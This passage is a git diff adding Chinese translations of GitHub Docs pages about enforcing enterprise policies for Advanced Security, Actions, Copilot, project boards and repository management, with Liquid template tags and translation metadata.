a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md new file mode 100644 index 0000000000..1bb92eaa7e --- /dev/null +++ b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md @@ -0,0 +1,40 @@ +--- +title: 在企业中执行高级安全策略 +intro: 您可以执行策略来管理企业组织内的 {% data variables.product.prodname_GH_advanced_security %} 功能,或者允许在每个组织中设置策略。 +permissions: Enterprise owners can enforce policies for {% data variables.product.prodname_GH_advanced_security %} in an enterprise. +product: '{% data reusables.gated-features.ghas %}' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: +- Advanced Security +- Code scanning +- Enterprise +- Policies +- Secret scanning +- Security +redirect_from: +- /admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise +- /github/setting-up-and-managing-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise-account +- /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-policies-for-advanced-security-in-your-enterprise-account +shortTitle: Advanced Security policies +ms.openlocfilehash: 1858a854f78695b2fa36e0b84944f2fa05db0d00 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145098990" +--- +## 关于企业中 {% data variables.product.prodname_GH_advanced_security %} 的策略 + +{% data reusables.advanced-security.ghas-helps-developers %} 有关详细信息,请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)”。 + +{% ifversion ghes or ghec %}如果您购买了 {% data variables.product.prodname_GH_advanced_security %} 许可证,任何{% else %}任何 {% data variables.product.product_location %} {% endif %} 组织都可以使用 {% data variables.product.prodname_advanced_security %} 功能。 您可以执行策略来控制 {% data variables.product.product_name %} 上的企业成员如何使用 {% data variables.product.prodname_advanced_security %}。 + +## 在企业中执行使用 {% data variables.product.prodname_GH_advanced_security %} 的策略 + +{% data reusables.advanced-security.about-ghas-organization-policy %} + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.advanced-security-policies %} {% data reusables.enterprise-accounts.advanced-security-organization-policy-drop-down %} {% data reusables.enterprise-accounts.advanced-security-individual-organization-policy-drop-down %} diff --git a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md index 30948b0de1..67e149dbe3 100644 --- a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md +++ b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Enforcing policies for GitHub Actions in your enterprise -intro: 'You can enforce policies for {% data variables.product.prodname_actions %} within your enterprise''s organizations, or allow policies to be set in each organization.' +title: 在企业中为 GitHub Actions 实施策略 +intro: '您可以为企业组织内的 {% data variables.product.prodname_actions %} 执行策略,或者允许在每个组织中设置策略。' permissions: 'Enterprise owners can enforce policies for {% data variables.product.prodname_actions %} in an enterprise.' miniTocMaxHeadingLevel: 3 redirect_from: @@ -24,171 +24,128 @@ topics: - Enterprise - Policies shortTitle: GitHub Actions policies +ms.openlocfilehash: 21b2cfa73ef84ba6635f05b9fc25bb48df2b87cb +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147400336' --- - {% data reusables.actions.enterprise-beta %} -## About policies for {% data variables.product.prodname_actions %} in your enterprise +## 关于企业中 {% data variables.product.prodname_actions %} 的策略 -{% data variables.product.prodname_actions %} helps members of your enterprise automate software development workflows on {% data variables.product.product_name %}. For more information, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)." +{% data variables.product.prodname_actions %} 可帮助您的企业成员在 {% data variables.product.product_name %} 上自动执行软件开发工作流程。 有关详细信息,请参阅“[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)”。 -{% ifversion ghes %}If you enable {% data variables.product.prodname_actions %}, any{% else %}Any{% endif %} organization on {% data variables.location.product_location %} can use {% data variables.product.prodname_actions %}. You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} use {% data variables.product.prodname_actions %}. By default, organization owners can manage how members use {% data variables.product.prodname_actions %}. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)." +{% ifversion ghes %}如果启用 {% data variables.product.prodname_actions %},则 {% data variables.product.product_location %} 上的任何{% else %}任何{% endif %} 组织都可以使用 {% data variables.product.prodname_actions %}。 你可以强制实施策略来控制 {% data variables.product.product_name %} 上的企业成员如何使用 {% data variables.product.prodname_actions %}。 默认情况下,组织所有者可以管理成员使用 {% data variables.product.prodname_actions %} 的方式。 有关详细信息,请参阅“[为组织禁用或限制 {% data variables.product.prodname_actions %}](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)”。 -## Enforcing a policy to restrict the use of {% data variables.product.prodname_actions %} in your enterprise +## 强制实施策略以限制企业中 {% data variables.product.prodname_actions %} 的使用 -You can choose to disable {% data variables.product.prodname_actions %} for all organizations in your enterprise, or only allow specific organizations. You can also limit the use of public actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %}, so that people can only use local actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} that exist in your enterprise. +您可以选择对企业中的所有组织禁用 {% data variables.product.prodname_actions %},或只允许特定的组织。 还可以限制公共操作{% ifversion actions-workflow-policy %}和可重用工作流{% endif %}的使用,让用户只能使用企业中现有的本地操作{% ifversion actions-workflow-policy %}和可重用工作流{% endif %}。 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -1. Under "Policies", select your options. +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} +1. 在“Policies(策略)”下选择选项。 {% indented_data_reference reusables.actions.actions-use-policy-settings spaces=3 %} - {%- ifversion ghes or ghae %} - {% note %} + {%- ifversion ghes or ghae %} {% note %} - **Note:** To enable access to public actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}, you must first configure {% data variables.location.product_location %} to connect to {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling automatic access to GitHub.com actions using GitHub Connect](/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)." + 注意:若要启用对公共操作{% ifversion actions-workflow-policy %}和可重用工作流{% endif %}的访问,首先必须配置 {% data variables.product.product_location %},以连接到 {% data variables.product.prodname_dotcom_the_website %}。 有关详细信息,请参阅“[使用 GitHub Connect 启用对 GitHub.com 操作的自动访问](/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)”。 - {% endnote %} - {%- endif %} - {% ifversion actions-workflow-policy %} - ![Enable, disable, or limits actions for this enterprise account](/assets/images/help/organizations/enterprise-actions-policy-with-workflows.png) - {%- else %} - ![Enable, disable, or limits actions for this enterprise account](/assets/images/help/organizations/enterprise-actions-policy.png) - {%- endif %} -1. Click **Save**. + {% endnote %} {%- endif %} {% ifversion actions-workflow-policy %}![启用、禁用或限制该企业帐户的操作](/assets/images/help/organizations/enterprise-actions-policy-with-workflows.png){%- else %}![启用、禁用或限制该企业帐户的操作](/assets/images/help/organizations/enterprise-actions-policy.png){%- endif %} +1. 单击“ **保存**”。 {% data reusables.actions.allow-specific-actions-intro %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -1. Under "Policies", select {% data reusables.actions.policy-label-for-select-actions-workflows %} and add your required actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} to the list. - {% ifversion actions-workflow-policy %} - ![Add actions and reusable workflows to the allow list](/assets/images/help/organizations/enterprise-actions-policy-allow-list-with-workflows.png) - {%- elsif ghes or ghae %} - ![Add actions to the allow list](/assets/images/help/organizations/enterprise-actions-policy-allow-list.png) - {%- elsif ghae %} - ![Add actions to the allow list](/assets/images/enterprise/github-ae/enterprise-actions-policy-allow-list.png) - {%- endif %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} +1. 在“策略”下,选择 {% data reusables.actions.policy-label-for-select-actions-workflows %} 并向列表添加所需操作{% ifversion actions-workflow-policy %}和可重用工作流{% endif %}。 + {% ifversion actions-workflow-policy %}![将操作和可重用工作流添加到允许列表](/assets/images/help/organizations/enterprise-actions-policy-allow-list-with-workflows.png){%- elsif ghes or ghae %}![将操作添加到允许列表](/assets/images/help/organizations/enterprise-actions-policy-allow-list.png){%- elsif ghae %}![将操作添加到允许列表](/assets/images/enterprise/github-ae/enterprise-actions-policy-allow-list.png){%- endif %} -## Enforcing a policy for artifact and log retention in your enterprise +## 在企业中实施构件和日志保留策略 -{% data variables.product.prodname_actions %} can store artifact and log files. For more information, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." +{% data variables.product.prodname_actions %} 可以存储构件和日志文件。 有关详细信息,请参阅“[下载工作流工件](/actions/managing-workflow-runs/downloading-workflow-artifacts)”。 {% data reusables.actions.about-artifact-log-retention %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.actions.change-retention-period-for-artifacts-logs %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} {% data reusables.actions.change-retention-period-for-artifacts-logs %} -## Enforcing a policy for fork pull requests in your enterprise +## 在企业中实施复刻拉取请求的策略 -You can enforce policies to control how {% data variables.product.prodname_actions %} behaves for {% data variables.location.product_location %} when members of your enterprise{% ifversion ghec %} or outside collaborators{% endif %} run workflows from forks. +您可以实施策略以控制当企业成员{% ifversion ghec %} 或外部协作者{% endif %}从复刻运行工作流程时 {% data variables.product.prodname_actions %} 对 {% data variables.product.product_location %} 的行为方式。 {% ifversion ghec %} -### Enforcing a policy for approval of pull requests from outside collaborators +### 实施用于批准来自外部协作者的拉取请求的策略 {% data reusables.actions.workflow-run-approve-public-fork %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.actions.workflows-from-public-fork-setting %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} {% data reusables.actions.workflows-from-public-fork-setting %} {% data reusables.actions.workflow-run-approve-link %} {% endif %} -### Enforcing a policy for fork pull requests in private repositories +### 在私有仓库中实施复刻拉取请求的策略 {% data reusables.actions.private-repository-forks-overview %} -If a policy is enabled for an enterprise, the policy can be selectively disabled in individual organizations or repositories. If a policy is disabled for an enterprise, individual organizations or repositories cannot enable it. +如果为企业启用了某个策略,可以在单个组织或存储库中选择性禁用该策略。 如果为企业禁用了某个策略,则单个组织或存储库无法启用该策略。 {% data reusables.actions.private-repository-forks-options %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.actions.private-repository-forks-configure %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} {% data reusables.actions.private-repository-forks-configure %} {% ifversion ghec or ghes or ghae %} -## Enforcing a policy for workflow permissions in your enterprise +## 在企业中实施工作流程权限策略 {% data reusables.actions.workflow-permissions-intro %} -You can set the default permissions for the `GITHUB_TOKEN` in the settings for your enterprise, organizations, or repositories. If you choose a restricted option as the default in your enterprise settings, this prevents the more permissive setting being chosen in the organization or repository settings. +可以在企业、组织或存储库的设置中为 `GITHUB_TOKEN` 设置默认权限。 如果你在企业设置中选择受限制的选项作为默认值,这将防止在组织或存储库设置中选择更宽松的设置。 {% data reusables.actions.workflow-permissions-modifying %} -### Configuring the default `GITHUB_TOKEN` permissions +### 配置默认 `GITHUB_TOKEN` 权限 -{% ifversion allow-actions-to-approve-pr-with-ent-repo %} -By default, when you create a new enterprise, `GITHUB_TOKEN` only has read access for the `contents` scope. +{% ifversion allow-actions-to-approve-pr-with-ent-repo %}默认情况下,当你创建新企业时,`GITHUB_TOKEN` 仅对 `contents` 范围具有读取权限。 {% endif %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -1. Under "Workflow permissions", choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope. +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} +1. 在“工作流权限”下,选择是要让 `GITHUB_TOKEN` 对所有范围具有读写访问权限,还是仅对 `contents` 范围具有读取访问。 - {% ifversion allow-actions-to-approve-pr-with-ent-repo %} - ![Set GITHUB_TOKEN permissions for this enterprise](/assets/images/help/settings/actions-workflow-permissions-enterprise-with-pr-approval.png) - {% else %} - ![Set GITHUB_TOKEN permissions for this enterprise](/assets/images/help/settings/actions-workflow-permissions-enterprise.png) - {% endif %} -1. Click **Save** to apply the settings. + ![为此企业设置 GITHUB_TOKENN 权限](/assets/images/help/settings/actions-workflow-permissions-enterprise{% ifversion allow-actions-to-approve-pr-with-ent-repo %}-with-pr-approval{% endif %}.png) +1. 单击“保存”以应用设置。 {% ifversion allow-actions-to-approve-pr-with-ent-repo %} -### Preventing {% data variables.product.prodname_actions %} from creating or approving pull requests +### 阻止 {% data variables.product.prodname_actions %} 创建或批准拉取请求 {% data reusables.actions.workflow-pr-approval-permissions-intro %} -By default, when you create a new enterprise, workflows are not allowed to create or approve pull requests. +默认情况下,创建新的企业时,不允许工作流创建或批准拉取请求。 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -1. Under "Workflow permissions", use the **Allow GitHub Actions to create and approve pull requests** setting to configure whether `GITHUB_TOKEN` can create and approve pull requests. +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} +1. 在“工作流权限”下,使用“允许 GitHub Actions 创建和批准拉取请求”设置配置 `GITHUB_TOKEN` 是否可以创建和批准拉取请求。 - ![Set GITHUB_TOKEN permissions for this enterprise](/assets/images/help/settings/actions-workflow-permissions-enterprise-with-pr-approval.png) -1. Click **Save** to apply the settings. + ![为此企业设置 GITHUB_TOKENN 权限](/assets/images/help/settings/actions-workflow-permissions-enterprise-with-pr-approval.png) +1. 单击“保存”以应用设置。 -{% endif %} -{% endif %} +{% endif %} {% endif %} {% ifversion actions-cache-policy-apis %} -## Enforcing a policy for cache storage in your enterprise +## 在企业中强制实施缓存存储策略 {% data reusables.actions.cache-default-size %} {% data reusables.actions.cache-eviction-process %} -However, you can set an enterprise policy to customize both the default total cache size for each repository, as well as the maximum total cache size allowed for a repository. For example, you might want the default total cache size for each repository to be 5 GB, but also allow {% ifversion actions-cache-admin-ui %}organization owners and{% endif %} repository administrators to configure a total cache size up to 15 GB if necessary. +但是,可以设置企业策略来自定义每个存储库的默认总缓存大小,以及存储库允许的最大总缓存大小。 例如,你可能希望每个存储库的默认总缓存大小为 5 GB,但也允许存储库管理员根据需要配置最大 15 GB 的总缓存大小。 -{% ifversion actions-cache-admin-ui %}Organization owners can set a lower total cache size that applies to each repository in their organization. {% endif %}People with admin access to a repository can set a total cache size for their repository up to the maximum cache size allowed by the enterprise {% ifversion actions-cache-admin-ui %}or organization{% endif %} policy setting. +对存储库具有管理员访问权限的人员可以将其存储库的总缓存大小设置为企业策略设置允许的最大缓存大小。 -{% ifversion actions-cache-admin-ui %} +{% data variables.product.prodname_actions %} 缓存存储的策略设置目前只能使用 REST API 进行修改: -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -1. In the "Artifact, cache and log settings" section, under **Maximum cache size limit**, enter a value, then click **Save** to apply the setting. -1. In the "Artifact, cache and log settings" section, under **Default cache size limit**, enter a value, then click **Save** to apply the setting. - -{% else %} - -The policy settings for {% data variables.product.prodname_actions %} cache storage can currently only be modified using the REST API: - -* To view the current enterprise policy settings, see "[Get GitHub Actions cache usage policy for an enterprise](/rest/actions/cache#get-github-actions-cache-usage-policy-for-an-enterprise)." -* To change the enterprise policy settings, see "[Set GitHub Actions cache usage policy for an enterprise](/rest/actions/cache#get-github-actions-cache-usage-policy-for-an-enterprise)." +* 若要查看当前企业策略设置,请参阅“[获取企业的 GitHub Actions 缓存使用策略](/rest/actions/cache#get-github-actions-cache-usage-policy-for-an-enterprise)”。 +* 若要更改企业策略设置,请参阅“[设置企业的 GitHub Actions 缓存使用策略](/rest/actions/cache#get-github-actions-cache-usage-policy-for-an-enterprise)”。 {% data reusables.actions.cache-no-org-policy %} {% endif %} - -{% endif %} diff --git a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-copilot-in-your-enterprise.md b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-copilot-in-your-enterprise.md new file mode 100644 index 0000000000..70fabe501f --- /dev/null +++ b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-copilot-in-your-enterprise.md @@ -0,0 +1,65 @@ +--- +title: 在企业中为 GitHub Copilot 实施策略 +intro: '你可以为企业组织内的 {% data variables.product.prodname_copilot_for_business %} 实施策略,或者允许在每个组织中设置策略。' +permissions: 'Enterprise owners can enforce policies for {% data variables.product.prodname_copilot_for_business %} in an enterprise.' +product: '{% data reusables.gated-features.copilot-billing %}' +versions: + ghec: '*' +type: how_to +topics: + - Copilot + - Enterprise + - Organizations + - Policies +shortTitle: GitHub Copilot policies +ms.openlocfilehash: f87fa318a6390c9e254c3c115638325b8bfc474a +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193218' +--- +## 关于企业中 {% data variables.product.prodname_copilot %} 的策略 + +{% data reusables.copilot.about-copilot %} + +你可以为企业组织内的 {% data variables.product.prodname_copilot_for_business %} 实施策略,或者允许在每个组织中设置策略。 + +如果为 {% data variables.product.prodname_copilot_for_business %} 设置订阅,则可以为企业中的组织授予和撤销对 {% data variables.product.prodname_copilot %} 的访问权限。 向组织授予对 {% data variables.product.prodname_copilot %} 的访问权限后,该组织的管理员可以向个人和团队授予访问权限。 有关详细信息,请参阅“[在组织中配置 {% data variables.product.prodname_copilot %} 设置](/copilot/configuring-github-copilot/configuring-github-copilot-settings-in-your-organization)”。 + +{% data variables.product.prodname_copilot_for_business %} 订阅按月计费,具体取决于分配给企业内用户的 {% data variables.product.prodname_copilot %} 席位数。 有关详细信息,请参阅“[{% data variables.product.prodname_ghe_cloud %} 的 {% data variables.product.prodname_copilot %} 定价](/enterprise-cloud@latest/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot#github-copilot-pricing-for-github-enterprise-cloud)”。 + +{% data variables.product.prodname_copilot %} 包含筛选器,该筛选器用于检测与 {% data variables.product.prodname_dotcom %} 上的公共代码匹配的代码建议。 通过 {% data variables.product.prodname_copilot_for_business %} 可选择是在企业级启用或禁用筛选器,还是允许组织管理员在组织级别做出决定。 启用筛选器后,{% data variables.product.prodname_copilot %} 会根据 {% data variables.product.prodname_dotcom %} 上的公共代码检查代码建议及其周围约 150 个字符的代码。 如果存在匹配或接近匹配,将不会显示建议。 + +## 强制实施策略以管理企业中 {% data variables.product.prodname_copilot_for_business %} 的使用 + +{% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.copilot-tab %} +1. 在“管理组织对 {% data variables.product.prodname_copilot %} 的访问权限”下,配置 {% data variables.product.prodname_copilot %} 订阅的访问权限。 + - 若要为企业中的所有组织禁用 {% data variables.product.prodname_copilot %},请选择“禁用”。 + - 若要为企业中的所有组织(当前和将来)启用 {% data variables.product.prodname_copilot %},请选择“允许所有组织”。 + - 若要为特定组织启用 {% data variables.product.prodname_copilot %},请选择“允许特定组织”。 + + ![{% data variables.product.prodname_copilot %} 组织访问设置的屏幕截图](/assets/images/help/copilot/manage-org-access-enterprise.png) + +1. 如果选择了“允许特定组织”,请选择要为其启用 {% data variables.product.prodname_copilot %} 的组织。 或者,可以选择要禁用 {% data variables.product.prodname_copilot %} 访问的组织。 + - 单击“设置组织权限”,然后选择“启用”或“禁用”以授予或拒绝指定组织的 {% data variables.product.prodname_copilot %} 访问权限 。 + + ![启用或禁用 {% data variables.product.prodname_copilot %} 组织权限设置的屏幕截图](/assets/images/help/copilot/set-org-permissions-enterprise.png) + +1. 单击“保存更改”。 + + ![{% data variables.product.prodname_copilot %} 保存组织权限的屏幕截图](/assets/images/help/copilot/save-org-settings-enterprise.png) + +## 强制实施策略以管理与企业中的公共代码匹配的 {% data variables.product.prodname_copilot %} 建议的使用 + +{% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.copilot-tab %} +1. 在“匹配公共代码的建议”下,单击下拉菜单,然后选择要强制实施的策略。 + - 若要允许与公共代码匹配的 {% data variables.product.prodname_copilot %} 建议,请选择“允许”。 + - 若要阻止与公共代码匹配的 {% data variables.product.prodname_copilot %} 建议,请选择“阻止”。 + - 若要允许每个组织针对匹配公共代码的 {% data variables.product.prodname_copilot %} 建议的使用设置其自己的策略,请选择“无策略(让每个组织自行决定)”。 + + ![匹配公共代码的 {% data variables.product.prodname_copilot %} 建议设置的屏幕截图](/assets/images/help/copilot/duplication-detection-enterprise-dropdown.png) + +## 延伸阅读 + +- [{% data variables.product.prodname_copilot_for_business %} 隐私声明](/free-pro-team@latest/site-policy/privacy-policies/github-copilot-for-business-privacy-statement) diff --git a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md new file mode 100644 index 0000000000..0abfc8eff3 --- /dev/null +++ b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md @@ -0,0 +1,49 @@ +--- +title: 在企业中实施项目板策略 +intro: 您可以在企业组织内执行项目策略,或允许在每个组织中设置策略。 +permissions: Enterprise owners can enforce policies for project boards in an enterprise. +redirect_from: +- /articles/enforcing-project-board-settings-for-organizations-in-your-business-account +- /articles/enforcing-project-board-policies-for-organizations-in-your-enterprise-account +- /articles/enforcing-project-board-policies-in-your-enterprise-account +- /github/setting-up-and-managing-your-enterprise-account/enforcing-project-board-policies-in-your-enterprise-account +- /github/setting-up-and-managing-your-enterprise/enforcing-project-board-policies-in-your-enterprise-account +- /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-project-board-policies-in-your-enterprise-account +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: +- Enterprise +- Policies +- Projects +shortTitle: Project board policies +ms.openlocfilehash: 5be8c2fd41b456a24b286cd1a4ab3ef493abf278 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145098987" +--- +## 关于企业中项目板的策略 + +您可以执行策略来控制企业在 {% data variables.product.product_name %} 上的企业成员如何管理项目板。 您也可以允许组织所有者管理项目板策略。 有关详细信息,请参阅“[关于项目板](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)”。 + +## 实施组织范围项目板的策略 + +在企业拥有的所有组织中,可以启用或禁用组织范围的项目板,或允许所有者在组织级别管理设置。 + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.projects-tab %} +4. 在“Organization projects”(组织项目)下,审查有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +5. 在“Organization projects”(组织项目)下,使用下拉菜单并选择策略。 + ![带有组织项目板策略选项的下拉菜单](/assets/images/help/business-accounts/organization-projects-policy-drop-down.png) + +## 实施仓库项目板的策略 + +在企业拥有的所有组织中,可以启用或禁用仓库级项目板,或允许所有者在组织级别管理设置。 + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.projects-tab %} +4. 在“Repository projects”(仓库项目)下,审查有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +5. 在“Repository projects”(仓库项目)下,使用下拉菜单并选择策略。 + ![带有存储库项目板策略选项的下拉菜单](/assets/images/help/business-accounts/repository-projects-policy-drop-down.png) diff --git a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md index 041431c2e8..1f800d52ee 100644 --- a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md +++ b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Enforcing repository management policies in your enterprise -intro: 'You can enforce policies for repository management within your enterprise''s organizations, or allow policies to be set in each organization.' +title: 在企业中实施仓库管理策略 +intro: 您可以在企业组织内执行仓库管理策略,或允许在每个组织中设置策略。 permissions: Enterprise owners can enforce policies for repository management in an enterprise. redirect_from: - /enterprise/admin/installation/configuring-the-default-visibility-of-new-repositories-on-your-appliance @@ -44,271 +44,225 @@ topics: - Repositories - Security shortTitle: Repository management policies +ms.openlocfilehash: 10b34ef1d0049ca68e1b0ec655f9d6351c06d396 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192639' --- +## 关于企业中的仓库管理策略 -## About policies for repository management in your enterprise - -You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage repositories. You can also allow organization owners to manage policies for repository management. For more information, see "[Creating and managing repositories](/repositories/creating-and-managing-repositories) and "[Organizations and teams](/organizations)." +您可以执行策略来控制企业在 {% data variables.product.product_name %} 上的企业成员如何管理仓库。 您也可以允许组织所有者管理仓库管理策略。 有关详细信息,请参阅“[创建和管理存储库](/repositories/creating-and-managing-repositories)”以及“[组织和团队](/organizations)”。 {% ifversion ghes or ghae %} -## Configuring the default visibility of new repositories +## 配置新仓库的默认可见性 -Each time someone creates a new repository within your enterprise, that person must choose a visibility for the repository. When you configure a default visibility setting for the enterprise, you choose which visibility is selected by default. For more information on repository visibility, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." +每次有人在您的企业上创建新仓库时,此人必须选择仓库的可见性。 当您配置企业的默认可见性设置时,需要选择默认可见性。 有关存储库可见性的详细信息,请参阅“[关于存储库](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)”。 -If an enterprise owner disallows members from creating certain types of repositories, members will not be able to create that type of repository even if the visibility setting defaults to that type. For more information, see "[Enforcing a policy for repository creation](#enforcing-a-policy-for-repository-creation)." +如果企业所有者不允许成员创建某种类型的仓库,成员将无法创建此类仓库,即使可见性设置默认为此类型。 有关详细信息,请参阅“[强制实施用于存储库创建的策略](#enforcing-a-policy-for-repository-creation)”。 -{% data reusables.enterprise-accounts.access-enterprise %} -{% ifversion ghes or ghae %} -{% data reusables.enterprise-accounts.policies-tab %} -{% else %} -{% data reusables.enterprise-accounts.settings-tab %} -{% endif %} -{% data reusables.enterprise-accounts.options-tab %} -1. Under "Default repository visibility", use the drop-down menu and select a default visibility. - ![Drop-down menu to choose the default repository visibility for your enterprise](/assets/images/enterprise/site-admin-settings/default-repository-visibility-settings.png) +{% data reusables.enterprise-accounts.access-enterprise %} {% ifversion ghes or ghae %} {% data reusables.enterprise-accounts.policies-tab %} {% else %} {% data reusables.enterprise-accounts.settings-tab %} {% endif %} {% data reusables.enterprise-accounts.options-tab %} +1. 在“默认仓库可见性”下,使用下拉菜单并选择默认可见性。 + ![用于选择企业的默认存储库可见性的下拉菜单](/assets/images/enterprise/site-admin-settings/default-repository-visibility-settings.png) {% data reusables.enterprise_installation.image-urls-viewable-warning %} {% endif %} -## Enforcing a policy for base repository permissions +## 强制实施针对基本存储库权限的策略 -Across all organizations owned by your enterprise, you can set a base repository permission level (none, read, write, or admin) for organization members, or allow owners to administer the setting on the organization level. 